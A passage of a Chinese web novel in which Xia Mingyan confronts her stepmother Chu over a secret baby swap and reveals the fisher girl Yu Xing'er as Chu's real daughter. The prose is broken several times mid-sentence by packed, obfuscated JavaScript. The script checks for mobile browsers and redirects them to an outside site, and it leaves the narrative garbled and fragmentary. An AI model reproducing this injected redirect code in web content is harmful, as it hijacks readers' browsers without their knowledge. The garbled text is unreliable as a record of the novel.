夏明月笑得凉薄而通透,“女师们的确教了我不少东西,可是我在老宅时从来都没有用,每当我抱怨的时候,她们都会说我学的很好了,以后遇到事儿了,一用就会了。” “您听听这话说的,像不像将一只羊和一只雀儿关在一辆马上就要坠入悬崖的马车里,雀儿对那只羊说,一会儿就要往悬崖下面跳,别往旁边跳,你听我的,我们一定能行的?” 她笑出声来,“羊放弃从窗子和马车后面跳下去的机会,等马车掉下悬崖时才跟着雀儿一起跳了下,她这才发现原来雀儿是会飞的,它就那样扇着翅膀从自己眼前飞走了。” “这些道理我也是后来才明白的,我当然恨过您,也恨过父亲,可我最近忽然就不恨了。因为我开始发现,您大概也是用这样的方法教二妹妹的吧?在您身边长大,学得更多了,反而更不好了呢。” 说到底,这是一个学和用的关系问题,学太多了而不加应用,反而成了纸上谈兵。 以为自己懂多少呢,遇上什么事儿都以为自己没问题,闷着头就往上冲,还以为很快事情就能办好了,就可以领赏了呢。 可结果就是事情非但没成,还被自己从前没放在眼里的人给干倒了,这不就是夏明月现在最好的写照吗? 不过夏明嫣心里也清楚,夏明月变成这样跟楚氏宠着她,没让她在成婚前真正地管一管夏家有关系,可是跟夏明月上一世的经历关系更大。 夏明月上辈子在家庙里待了十年,尽管这当中诸如孙允斌这样的人进去过,会把外面发生的事儿告诉她,可她毕竟少了许多的实践。 在家庙那种地方,只要没有清心寡欲地抄经礼佛,定是要胡思乱想的,想得越多,练得越少,日积月累之下,这人便成了光说不练的假把式,是最容易犯纸上谈兵的错误的。 第443章十年,养出了鬼 在这种封闭的环境里,她甚至可以把自己想像得宛如神仙一样无所不能,等到出去之后,真正“上阵”了,才发现自己知道的那些都对,可就是不会用。 夏明月上一世从家庙出来之后很快就改嫁给了李玦,之后也没活几年,岁月根本就没有给她失败、吃瘪的机会,以致于她一直都以为自己很厉害、很强大。 这种自信或者确切的说是自以为是,一直延续到了这一世,这就是夏明月就直接拿着她自以为高明的手段往上冲的最重要的原因之一。 再有一点,夏明嫣没有说,那便是夏明月的不平之心太重,这一点像极了楚氏。 上一世邓澜和夏明嫣先后占据了李玦正室的位子,这样的事实让夏明月陷入了疯狂的嫉妒和不甘,家庙幽闭的那十年,让她更加无法忍受她与李玦的情感不满没、不纯粹,所以重生一回,她还是要咬着夏明嫣不放。 说白了,夏明月就像让所有的人尤其是让夏明嫣承认,她跟李玦是最合适、最美满的,她就是见不得夏明嫣过得好,因为上辈子她自己嫁给了华靖离就过得很不好,现在凭什么夏明嫣能过得比她好…… 对夏明嫣,楚氏原就是这样打算的,但是她完全没想到夏明嫣小小年纪就看得如此透彻,她被当众揭开了面皮,自然不好过。 尤其是夏明月身上的问题最近显现得实在太多、太过密集了,毕竟是自己养大的,自己心疼,她还没想出来怎么就把夏明月养成这样了,就听到夏明嫣如此说。 这让楚氏心里那种丧气一下子高涨到了极点,难道还真是因为她这样影响夏明嫣,结果一不小心就把这些带到了夏明月身上…… 楚氏语气不善地道:“你怨恨我,怨恨夏家,也不喜欢楚家,那又如何?很多事儿你心里也该有数,即便是华侯,你将来的儿孙早晚都要降等袭爵,要想让富贵长久,你们也一样要跟着我们走一样的路。” “既然还是要在人前好好地做父女、母女,那又何必弄得这么难看呢?我把画扇给你送过去,的确是想给你提个醒,让你不要以为现在就翅膀硬了。你才当了几天的华侯夫人,还差得远呢。” “我这么做,主要还是想给你添一个帮手。画扇犯过错,可那些原也算不上什么大事,毕竟是从小一起长大的,能在你身边帮你,你也能放心些。你要是需要给家里传话,有她在,也更方便些。” 楚氏就是要明目张胆地在夏明嫣身边塞一个眼线,即便之后什么都不用画扇做,也够恶心夏明嫣的。 夏明嫣不理会楚氏的那些挑衅,直接将让小丫鬟传话的那句诗念了一遍:“凉夜柔风拂旧枝,再赏昔年盛景时,夫人是听了这两句诗才来的吧?” 终于说到正题了,楚氏假做镇定,试探着道:“不错,难得你还能打听这两句诗。这没什么见不得人的,这两句诗是当年的陆公子所作,现在他已经陆老爷了,早就因为流放,离开了元京。” “那时我与他尚有婚约,陆家也未落罪,他为我做几句诗,算不得什么,这件事你父亲也知道。倒是你,打听长辈的私事,还想要以此要挟,这要是传出去,华侯夫人不仅是个不孝女,还是个心机深沉的人,就怕华侯在宫里也不太好交代。” 楚氏眼睑低垂,像是在看自己在茶盏中打出来的茶沫,“你叫我过来,还带着画扇,还有这位戴着帷帽的姑娘,当着她们的面说这些话,合适么?” 楚氏气定神闲的质问连弄得画扇都把手攥起来了,她本来就没明白夏明嫣为什么要这样做,这回更紧张了: “华侯夫人,要不奴婢先出去?您不想收下奴婢也没关系,奴婢愿意回煤场去,奴婢的娘也是愿意的,您千万别跟夫人闹。” 于杏儿戴着帷帽的头脸朝着画扇的方向转了一下,带着南方方言口音的声音里透着些许不屑: “还要送你来当小娘呢,瞧你这点胆子,连我这个奴婢,不,是通房,都比不上。继母跟原配夫人的女儿吵几句嘴又怎么了,何况还没吵呢,你在这儿听个热闹还不好啊。” “放肆,你是谁?主子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134963|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这儿说话,哪儿有你说话的份儿。明嫣,这是你府上的人,你不管教,就别怪我替你管教!” 楚氏说着就要叫外面的人进来,乔嬷嬷是跟着来了的,只是没进来,一直在门口侯着呢。 没等楚氏叫人,夏明嫣直接笑着打断了她:“夫人何必动怒,她们两个都不是闲人,等一下要说的跟她们两个或多或少的都有些关系,还是让她们在场比较好。” “她们连个一个是我家侯爷的通房,一个是您送来的,马上就是我家侯爷的妾室了,您这个做丈母娘的,总不至于把手伸进自己大女婿的后院里吧。” “何况您刚才也说了,不过是一些无关紧要的陈年往事,让她们听一听,想来也无妨。就算有人要嚼舌根子,也是说我不孝,不会有人说您的难听话。” 她嘴里忽然发出“嘶”的一声,然后看似天真地眨着眼看着楚氏, “不过,有一件事我很好奇,既然是无关紧要的陈年往事,夫人为何听了一个小丫鬟传的话,就火急火燎地赶过来了呢?” 夏明嫣没有多说,只是在那儿笑,她未说尽的余音就这样在她断断续续发出的笑声里发酵。 楚氏忽然有一种毛骨悚然的感觉,十余年的卢阳老宅时光,难道真的把一个大家闺秀养成了鬼了不成? 楚氏故作轻松地将茶盏放到一边,里面的茶却连尝都没尝一口:“两句诗而已,我倒要看看你能做出什么大文章。你要是说不出个道理来,别怪我回去告诉你父亲。” “唉,难怪老人家说嫁人是女子第二次投胎,这嫁的好,还真是好。进,可以仗着自己的丈夫骂这个、打杀那个,退么,别人骂你、要打杀你的时候,还能当靠山,多好。” 夏明嫣调侃着说道,边说还边朝着两边后侧方的于杏儿和画扇各看了一眼。 于杏儿戴着帷帽,看不到她的反应,画扇那边却看得清清楚楚,她此刻简直尴尬得想要找个地缝钻进去了。 夏明嫣这指桑骂槐的本事是越来越高了。 第444章骗着骗着,就信了 楚氏的母亲嫁给楚霆孝,所以现在楚家能给楚氏撑腰,让她在夏家内宅的地位比夏庸和朱老太太都高。 楚氏嫁的好,夏家虽不如楚家,可也不差,关键是夏庸像个入赘女婿似的,里里外外都以楚氏和楚家为先,楚氏靠着夏庸就能理所当然地压制儿女、妾室和一众亲族。 可是按照这个道理,夏明嫣嫁给了华靖离,华靖离现如今比夏庸还强不少,那么她也可以仗着华靖离不理会楚氏的打压。 夏明嫣抿了下嘴,轻笑了一声:“我姑且称您口中的陆公子为陆叔吧,陆叔在外头吟诵这首诗的时候,一共有八句,而并非两句。我要是想要取消您,或是要拿这个到父亲面前说闲话,怎么也不会只挑了这两句。” 她抬起头,正色道,“这两句绣在了一个荷包上,是在陆家流放之后一年,放在一个女婴的襁褓里带入府中的。那个女婴先天不足,急需名医和诸多要才调养。彼时元京因为老尚书一案对医馆和药材管控泼严,若是将这女婴养在外头延医问药,必定会引起怀疑。” “于是,这孩子便只能养在府里。可当时这孩子父亲的世交故旧家里只有一家新生了婴孩,为了方便藏匿,这孩子便送进了这家府邸抚养。可这事儿是要避着人的,因为这孩子的父亲恰好是这家主母昔日的情人,未婚夫,唉,这下麻烦了,该怎么做才好呢……” 夏明嫣将之前还原的真相说了出来,楚氏生了一对双生子是人尽皆知的事,虽说夏庸当时不在元京,可朱老太太一直在,还有上上下下那么多人和往来道贺的客人。 楚氏便先将真正的也是康健的“夏明月”也就是现如今的于杏儿送出府去抚养,想着婴孩都生得差不多,等到陆远山的女儿康复了或是外头的情况缓解些了,过上一年半载的再把两个孩子换回来就行了。 谁知在一年之后,夏庸回府之前,楚氏将真正的夏明月接回来的时候,被来府中探望的楚霆孝夫妇先后发现了,之后便发生了楚霆孝命乔嬷嬷背着楚氏送走了真正的夏明月,而将陆远山的女儿留下李代桃僵留在夏府做了尚书千金的事。 楚霆孝为了把陆远山的女儿握在手里,同时还能不惹恼陆家,才非让那孩子做了这尚书千金。这种事一旦被外人发现,他们跟陆家的联盟和多年的图谋就会被拆穿。 他怎么可能留下真正的夏明月,这就是一个证据,一个天大的把柄,一个活生生的人,很难瞒的住,尤其是这么一个外孙女,跟几家的性命和大业相比,又算得了什么呢? 在真正的夏明月被送出夏家的那天,便派人除掉了她,可这件事刚巧被霞姑姑发现,她从河里捞起了那个险些被溺毙的孩子,将她交给了一个要去南边儿贩货的小商贾,让对方带走那孩子找个不起眼的普通人家收养。 谁知那小商贾一家遭遇了些意外,竟是家破人亡,那孩子被一个人伢子带了去,几经周折变成了后来的渔家女于杏儿。 夏明嫣说这些话的时候没有明着提楚家、夏家、楚氏和夏明月,可句句说的就是这个意思。 屋子里的另外三个人反应各异,这个故事的完整版本画扇是两个月前知道的,于杏儿是这半个月才知道的。 只是画扇虽然知道这个故事里的母亲是楚氏,也知道于杏儿这渔家女的存在,却直到现在都没有想过她身边坐着的就是于杏儿这个方向上想。 于杏儿之前就知道了她就是这个故事里险些命丧黄泉的真千金,可她不知道她究竟是哪家的真千金,直到现在她都只是以为她原本的家族只是跟楚氏有关的一户人家,还没反应过来楚氏就是她的亲生母亲。 而楚氏知道的版本只到小商贾家破人亡之后她真正的女儿被拐走这里,因为她担心自己一旦派人去查这件事,即便是暗中去查,只有她自己知道孩子的下落,她也很难不在楼谋深算的楚霆孝面前露出马脚,从而再次给那个孩子招来杀身之祸,她索性就没有去查这件事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16139548|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 楚氏也没有想过霞姑姑后来居然查到了于杏儿的下落,她便不觉得夏明嫣能从霞姑姑那儿知道这些,而且因为年代久远,夏明嫣也不可能自己查到这些……她便根本没想到眼前这个戴着帷帽的年轻女子就是她的女儿。 夏明嫣为这三人的迟钝笑了一下,“夫人,同为母亲,相信您也会为这位痛失亲生爱女的夫人痛心、难过吧?这位夫人也真是坚强,之后她的丈夫归来,她竟然几乎丝毫不露。” “丈夫见她形容憔悴,她便说那是因为之前女儿体弱,她亲自照料,还没缓过来。她的丈夫之前并没有见过自己的女儿,更何况那只是一个一岁上下的孩子,便没有怀疑。” “不过,我很好奇,那位夫人后来对她的那个假女儿那么好,是想将对亲生女儿的亏欠补偿到假女儿身上,还是说她真的把假女儿当作亲生女儿了。” 她轻声惊呼了一声,好像陡然发现了一个有趣的真相,“再或许是因为这位夫人太心痛了,她不得不骗自己,这假女儿就是真女儿,日子久了,连她自己都真信了呢。” 说完夏明嫣发出一连串的笑声,这一回她不是装的,她是真的很想笑,这种事听起来荒谬,可在情感上,很多时候听起来荒谬的反而是真的。 果然,楚氏的面色越来越白,她交握着的双手越抓越紧,指甲都要扎进肉里去了,许多的思绪她都不敢翻动,因为那些痛早已和她的血肉化为一体,只要轻微的动一动,就会痛彻心扉、碎骨击魂。 这么多年了,夏庸对这件事毫不知情,楚霆孝则只字不提,仿佛这件事从来没有发生过一样,反倒是夏明嫣成了第一个说出这件事的人。 夏明嫣说的这三种可能……其实都有,人的情感是复杂的,并非单纯的只能选择一种,甚至无法理智地做出选择,所以都是对的。 楚氏万万没想到,她的这个继女,与她差了这么些年岁和阅历,竟然能够了解她的感受。 第445章会牵连无辜的真相 “你到底想说什么?不过是一个故事罢了,你到底想怎样?” 楚氏到底是楚家的女儿,话都说到这一步了,她还是很快恢复了镇定,甚至想要全盘否认。 这种事即便推断出了全貌,只要没有证据,就可以不承认。她不是傻子,想要见到亲生女儿,她可以自己去找,没必要跟夏明嫣多说什么。 而且一个女儿,到底没有两大家子人的命重要,这也是她这些年虽然跟楚霆孝冷战却没有做出更多、更过分的事的原因。 夏明嫣拿出那只绣着那两句诗的荷包,放到案上,在用手掌按着推到中间,让楚氏能够看清楚: “夫人看看,是不是当年的旧物?这东西一直在那真女儿的襁褓里,她的养父母收养她的时候,想着给这孩子留个念想,留一个将来相认的可能,就一直珍之重之地保管着。这么多年了,一点都没有损坏。” 那荷包绣工精巧,布料和丝线都是上乘的,因为用了特殊的固色之法,这么多年了,荷包的颜色并未变得黯淡,反而因为年月添了几分柔和。 楚氏终是忍不住伸手想要取过那荷包,可就在她的指尖要碰触到那荷包的时候,夏明嫣又将它收了回去: “这荷包的确是故人旧物,只是跟什么孩子还有你说的故事并无关系。难为你编造了这么一个故事来冤枉我,不过没有用。” “即便这世上真发生过这样的事,想来这么多年过去了,早已物是人非,什么都发生才是最好的。何况这里面还牵扯了别的人和事,想来他们对真相一无所知。” “在你说的这个故事里,那些人还挺享受这假千金给他们的天伦之乐吧,要是让他们知道了真相,他们又会怎么想?兹事体大,又会有多少事会被这真女儿的出现掀出来。” “为了不再生乱,这真女儿的命运又当如何?明嫣,你可不要好心办了坏事,反而害了这真女儿。” 夏庸和朱老太太都把现在的夏明月当作了亲女儿、亲孙女,这些年宠爱有加,要是让他们知道了真相,他们能否接受。 尤其是夏庸,他这些年这实质上的楚家“赘婿”当着,心里早就有了气,缺的就是引发他变化的最后一件重物。要是让他知道了真相,他定会怨恨楚霆孝。 夏家是这四家里最为边缘化的一家,尤其现在夏登云也已经长大了,楚霆孝就算还顾及着楚氏,完全可以舍了夏庸,而把重心放在夏登云身上。 要想让夏登云身居要职,的确还需要不少年月经营、打磨,可是那件事成事,也是十几年之后的事,这中间周旋的时间是够的。 楚氏就是料定了夏明嫣依然会投鼠忌器,并不能完全舍弃夏庸,更是会担心无辜的朱老太太伤心。夏明嫣手里即便真有证据,也不会冒然捅出去,让这两个人受到伤害。 再有,楚氏还料定了夏明嫣骨子里还是一个心软的人,毕竟年纪还小,要是现在就心硬如铁了,岂不成了妖孽了? 这个真女儿说到底除了血缘上的联系,跟楚、夏两家的人都毫无感情,这就是一个陌生人。 原本这孩子到了人伢子手里之后被卖给了别人,不说过得有多好,要是活着的话至少性命无忧,还有可能衣食无忧甚至将来也未必就没有得到荣华富贵的可能。 可要是想要这件事有实证,就得先把这个人找出来,楚、夏两家会因为一个陌生人破坏这盘大棋吗? 当然不会,即便心里会痛,可为了大局,没有什么是不能做的……至少站在夏明嫣的角度,楚霆孝和夏庸都是这样的人。 这个真女儿本质上跟夏明嫣一样,都是这个家的受害者,她真的一点怜悯之心都没有,不会同病相怜、兔死狐悲么? 见夏明嫣没有立刻开口,楚氏就料定了她终是不忍的,语气里又带出了几分得意, “你想证明这件事儿是真的,就得有证据,人证物证,你又有哪样?凭空猜测,编故事,没用。” 夏明嫣将那荷包在手上掂了掂,轻笑道:“您怎么知道我没证据?先说有些人自己就是证据,胎里的带出来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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难不成夏明嫣已经派人摸到彭州那边去了,陆家的秘密还藏得住么? 楚氏还没想明白于杏儿是谁,于杏儿已经明白了,眼前的这位贵夫人很有可能就是她的生母。 于杏儿顾不上礼节,语气平静而又有些复杂意味地道:“这故事里的真女儿就是夫人您的女儿吧?要不您怎么知道那孩子是从北地来的,我们夫人可从来没说那孩子的来处。” 第446章她身上有一种生猛气息 夏明嫣的确没说那孩子是从北边儿来的,就连那荷包也是南边儿的物件,因为陆家本身就是从江南之地迁过来的。 楚氏这么说,反而说明她清楚这件事,还是知道内情的,一定跟这件事有关。 于杏儿看着眼前的楚氏,其实她一开始就注意到了,楚氏跟她的容貌有七分相似。 只是因为她长年在渔村长大,风吹日晒的皮肤比楚氏黑很多。因为长年迎风而立,她原本的丹凤眼要更眯一些。因为总是在船上干活,她的骨架也要更开一些。 再就是仪态了,楚氏是绝对的名门贵妇,高贵优雅,而她是刚入高门还没适应过来的渔家女,别说跟楚氏、夏明嫣这些人比了,就是跟秋果这样的侍女里活泼些的比,她都没什么仪态、规矩可言。 可是这些丝毫掩饰不住她们二人容貌上的相似,只是一开始她发现这种相似的时候,她以为这仅仅是一种巧合,或者这些大家族都枝繁叶茂的,说不定楚氏只是她亲生父母的亲戚。 可是后来她越听越觉得不对了,难不成楚氏是她的亲娘? 于杏儿从小过的日子虽然远远比不上这些高门贵胄,可是她也没受多少苦,至少她自己是这么觉得的,而且在村子里,他们于家还是富户呢。 她从小就喜欢自由自在的生活,当得知自己是元京某个高门的沧海遗珠之后,她只有好奇和一点遗憾,反而在看多了夏明嫣、邓澜、董氏和外头的那些高门贵女事事有所顾忌的样子之后,那一点遗憾也快没了,她可不想那样。 不过,如果楚氏真是她的亲生母亲的话,于杏儿觉得自己有些接受不了,这不是一个背着人偷龙转凤的顾氏,楚氏从一开始就知道自己的孩子被换了,她怎么能忍受得了? 如果楚氏是那种为了成大事可以不择手段的女人,于杏儿非但可以接受,她还觉得这是一个挺有趣的事,可楚氏既没念着亲母女的情分去找寻这个孩子,也没有赶尽杀绝把她口中所谓的乳娘和乳娘的女儿灭口,这还真是不上不下、很是奇怪。 于杏儿即便有了这样的猜测,也没有什么激动或怨恨的感觉,她只是觉得楚氏个这个人很矛盾、很奇怪: “夫人是没听清楚吗?您怎么知道还是北边来的,还有,这毕竟是……事关故事里那位夫人的亲生女儿,这位夫人就真的不找了?” “她抚养着别人的女儿,或许因为她心里还有她那位旧情人,就想着在旧情人的女儿身上弥补遗憾。可她是傻子吗?那毕竟不是她的亲骨肉,还是她的旧情人跟别人生的。” 于杏儿恨不得立时化身问题孩童,在渔村里长大的孩子习惯了与老天爷抢食,一次次地在风浪中命悬一线,这让她有了一种敏锐的猎人般的触觉。 她身上还有着一种未经雕琢的生猛,一种随遇而安,万事都可以解决,解决不了也可以活一天算一天的独特气质。 夏明嫣之前还真没想到于杏儿在得知自己真正的身世之后会是这般态度,她原以为于杏儿要哭一场,甚至哭喊着厉声质问楚氏。 于杏儿现在这样,反而让她心中多了几分佩服,还别说,于杏儿这样,除了没读过多少书,也没学过琴棋书画,论性子和做派,可比楚氏亲手养大的夏明月强上不少,甚至这要是个男儿的话,或许还会比夏登云强上不少。 想到夏登云,夏明嫣忽然有了一个想法:“你想的倒是通透,这位夫人却迷糊得很,听了自己父亲的话去养别人的女儿,自己的女儿却不知是死是活。” “殊不知在民间,这知晓亲生父母是谁的养子养女还好些,那不知父母是谁的,就是收养也找不到个好人家,毕竟谁晓得他们的亲生父母不是那等作奸犯科之人呢。” “这孩子恐怕不会被太好的人家收养,没沦落到烟花之地去就不错了,日子定然不会过得太好,就不知道这当娘的,当真就能完全割舍掉么?” 迄今为止的任何一个朝代,人的等级都颇为森严,因此就没有不注重血统的。 那些大户人家或是好一些的人家有一部分是有养子养女的,虽说这些孩子中,男的长大之后多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143737|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是做了这个家族的心腹或是管事儿,女的资质好的,可能去跟大家族的旁系子孙联姻,也可能嫁给家族内部的子侄。 可这样的人家在收养的时候可不是什么人都收的,那些个孤儿虽小小年纪没了父母,但大多数也都是有可查的户籍文书的。 那等良籍的孤儿,特别是父母生前与养父母家相识的最容易有好去处,像于杏儿这种没有户籍文书,连亲生父母是良籍还是贱籍都弄不清楚的,是最难有好去处的。 能有个干净人家被家仆收养,为奴为婢都算好的了,很多这样的孩子最终就是被卖去了烟花之地,模样不好的则多去了贱籍苦役那里。 好人家不敢收养这样的孩子,万一是奴籍,他们会想,怎么就把孩子生在外面了呢?是不是孩子的父母跟主家有矛盾,万一哪天被人发现了,会不会因为这个孩子让他们跟另一个大家子闹矛盾。而且好人家的女儿,竟然是个奴才秧子,他们也接受不了。 更有甚至,万一这孩子本身是罪籍呢?长成之后,万一被人发现了,一定会连累他们。而且他们的亲生父母不在了,万一他们的亲族还在,将来从流放之地赦免回来,会不会找上他们呢…… 再有就是官府,这种无门无户、家族不详的孩子,也不会轻易给他们上良户和高门的户籍。 因此,即便大户人家和书香门第真遇上了这么一个可心、投缘的孩子,也只能养在身边的奴仆名下,将来让这孩子给家里的少爷、姑娘做个伴读,或是贴身服侍的侍女、小厮。 这孩子没了正经名分,又不是那奴仆亲生的,主家的疼爱也如那风雨一般,说不定哪天就没了,长大以后能有个好结局的也不多,能在主家府上当个得脸的奴仆,就已经是他们的造化了。 这还是好的情况,多数大户人家不会冒这样的险,毕竟家生子自己知根知底的孩子那么多,真要养在奴仆名下,不如就找他们的孩子。更别说赶上那闹灾荒的年份,清清白白的良籍孤儿那么多,要收养一个出身上没有问题的,并不难…… 第447章亲生母女相见 那些个父母不详的孤儿,除了入奴籍和烟花之地,像是于杏儿这样的就算是幸运的了。 在大恒,渔户是农户里的一种,但是地位在农户里是偏低的,而且渔户的船都不大,一旦遇上风浪,弄出伤病、残疾甚至丢了性命都是常有的事,因此官府对他们这样的人在户籍上多少会宽松一些。 于杏儿这才有机会做了一个清白的良籍农户,又碰上了疼爱她的养父母还有把她当作亲妹妹看待的几位兄长,才长成了如今这般模样。 楚氏不是没想过自己的亲生女儿会沦落到不堪的境地,只是她既然无能为力,那便告诉自己不要多想,以致于她暂时没有去细想这些罢了,就是这个“暂时”的时间久了点。 可是既然夏明嫣已经把事情挑明了,还带了一个疑似“乳母的女儿的女子”来,这就说不定是她真的查到了些什么了。 猜想中的结果和被实际验证过的结果完全是两码事,如果那孩子的日子过得当真不堪…… 楚氏心里那块他早以为已经**的地方忽然又有了感觉,这种感觉很不好,尤其是她已然猜到了,她的亲生女儿恐怕已经到了夏明嫣和华靖离手中。 楚氏冷然一笑,那笑容已不复方才的盛气凌人,甚至还有几分僵硬: “你这个故事大概至少是十五年前的事了,时间久远,你当时也还只是一个孩子,恐怕想找些人和物来佐证这些事,也不容易。” “你若不能让此事见真章,多说无益。你还是太嫩了些,你的这个故事要挟不了我。” 楚氏起身就要走,于杏儿也腾地一下站了起来,在一旁叫住了她:“楚夫人,您就一点不好奇那位夫人的亲生女儿如今是何模样,又是处境如何么?” 楚氏只把于杏儿当作当年人证的后人,身子和眼风都不曾侧一下,只是驻足道: “这位姑娘年纪还轻,想必即便嫁了人也还未有子女,未经历过维持一家一府乃至一族生计的艰难与无奈,不知道对有些事,这世上最难也是最好的事就是放下。” “一味地抓住过去不放,不仅解决不了问题,还会制造新的问题。原本只是伤心而已,要是不依不饶地不肯放手,还会把自己和更多的人拖入泥淖。” “你们都还年轻,这放下的本事还得再学学。况且此事就算还有什么佐证尚在世间,你们打算什么时候把这些证据送到元京?就不怕路上出了岔子么?” 只要拖过了今日,楚氏就可以回相府找楚霆孝报信,她的两位兄长如今当差的地方都与入元京的官道颇近。 楚氏料定夏明嫣不会把这么重要的东西带在身边,甚至也还没来得及藏进华家,那么只要这证据一日未到,她和楚家就还有下手阻止的机会。 夏明嫣站起来向前两步,含笑问道:“夫人怎知这证据和人证还未入元京?您会不会太自信了些?” 这时已是明棋,已然用不着遮掩,楚氏淡淡地道:“这么大的事,定要提早筹谋,若是这些东西已然到了,你这般性子,能不提早到我面前要挟、显摆么?就像现在这样。” 最后这句,楚氏说时语气很轻,饱含嘲笑,说完便要推门离开这间雅房了。 没错,楚氏就是以为夏明嫣是在刚发现真相还没来得及把证据搜罗齐全的时候,就把她找来试探和要挟的……到底是年轻、沉不住气啊。 “夫人,您这话可就错了,也对,毕竟我不是在您身边长大的,您不了解我实属正常。我可不是一个喜欢显摆的人,我能在卢阳忍十几年,几日的工夫还是能忍的。” 夏明嫣冷冷一笑,她之前忍了十几年待到回到元京夏府才发难,现如今又怎会在人证、物证远在天边的情况下就面对面地要挟她。 她这话没在多说,而是向前推了于杏儿一把,借着将那遮挡视线的帷帽挥落,于杏儿那张细看与楚氏容貌相似的脸就这样展现在了楚氏面前, “夫人,或许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于杏儿没读过什么书,只勉强认得了渔民贩鱼、记账时用的那些字,平时经历过的也都是一成不变的事,她连荒谬究竟是一种什么样的感觉都不大清楚。 她此刻只觉楚氏的样子很滑稽,她本就没学过几天规矩,对楚氏,她也只是明白了她们是亲母女这层关系,这就像是看了眼家谱似的,并没有太多感觉,更谈不上什么产生了对母亲的尊重。 她说出口的话半点不曾回避:“您打算怎么补偿我?给我银子,还是给我安排个好身份?总归仍旧是见不得光的,对吧?” “你们不会承认过去做过的事,你们不缺女儿,哪儿看的上我这么一个乡下丫头?您不想丢脸,就不会认我,那您打算怎么跟您现在的女儿解释我是谁?” 于杏儿只是纯粹的提问,语气里没有什么抱怨,就算有,也像是在为一个陌生人打抱不平似的。 楚氏往日被夏明月捧惯了,一听到于杏儿拿这种不尊重的语气跟她说话,她立刻就下意识地皱起了眉,声音也变得严厉起来: “你怎么能这么跟我说话,我是你的母亲啊。我不是不想认你,给你一个公开的身份,可是事已至此,把你认回来,又能怎样?” “外面的人还是会议论你是在乡野之地长大的,想要有好的婚事也难,还有你……二姐姐,她已经嫁给了端侯世子,木已成舟,要是把你们的身世挑破,这……” 夏明月被从北疆送到夏府时,于杏儿刚出生不久,因此夏明月比于杏儿大了差不多两个月,也算是于杏儿的姐姐了。 夏明月如今已是端侯世子夫人,要是把于杏儿认回来,就算他们几家编好了理由、套好了话,宫里没有怀疑,可李玦那边会怎么想? 按理说,夏明月实际上是陆家的女儿,李玦娶了她一样是在巩固他们几家的联盟,可李玦如今正是对夏明月不满的时候,而且陆家现在还隐在暗处,至少眼前的几年帮不上李玦和端侯府什么。 李玦现在得了这怪病,他自己很难再去挣前程,他就会更加指望身边的这些助力,夏明月惹了他不满,甚至已经让他心生怨怼,这时候再说她是一个很多年都指望不上的陆家女,这桩婚事就得散。 而李玦这样的人是不会娶于杏儿这样的乡野丫头的,于杏儿也应付不了李玦这样的人,到时候这联盟就算是彻底破了。 李玦如今正是有可能破罐子破摔的时候,失去了制约,不知道会不会把另外三家都给卖了。 想到这些,楚氏只觉得头疼,想让夏明月笼络住李玦,让事态不至于往最坏的方向上发展,可夏明月能办到么?她觉得很难, “我可以给你很多的银子,再在南边给你买宅子、铺子,给你置地、置产,让你和你的儿孙都过上富贵的日子,这样不好吗?” “你初来元京,定然不清楚这当中的艰险和尔虞我诈,有安泰、富贵日子可过,为什么要经历那些艰险呢?你经历了那些,你一个女子,一路向上爬,最终得到的不也是荣华富贵么,那何不接受我的安排?” 她看向夏明嫣,咬牙切齿地道,“还是说你被她蛊惑了?她虽然是你的长姐,可跟你并非一母所生,还与你二姐姐不睦,因为从前的事想要报复我,你可不能轻信她。” “她让你报复我,不依不饶地求一个公道,甚至还要与我们对簿公堂,对不对?你可不能听她的。” 好不容易把消失这么多年的人找出来,不就是为了这些吗? 楚氏一直觉得夏明嫣和华靖离身上有着一股可笑的正气,什么都要上公堂分辨个清楚,夏明嫣一定是这样挑唆于杏儿的,没有其他可能。 于杏儿听了,忽然大笑了几声,然后对着楚氏冷嘲热讽起来: “公堂,那您可弄错了,华侯夫人与我第一次讲述那个故事的时候,她就说了,此事无法对簿公堂。因为你们随时都可以把事情推到那些下人身上,说是他们私换婴孩,你们都不知情。” “说实话, 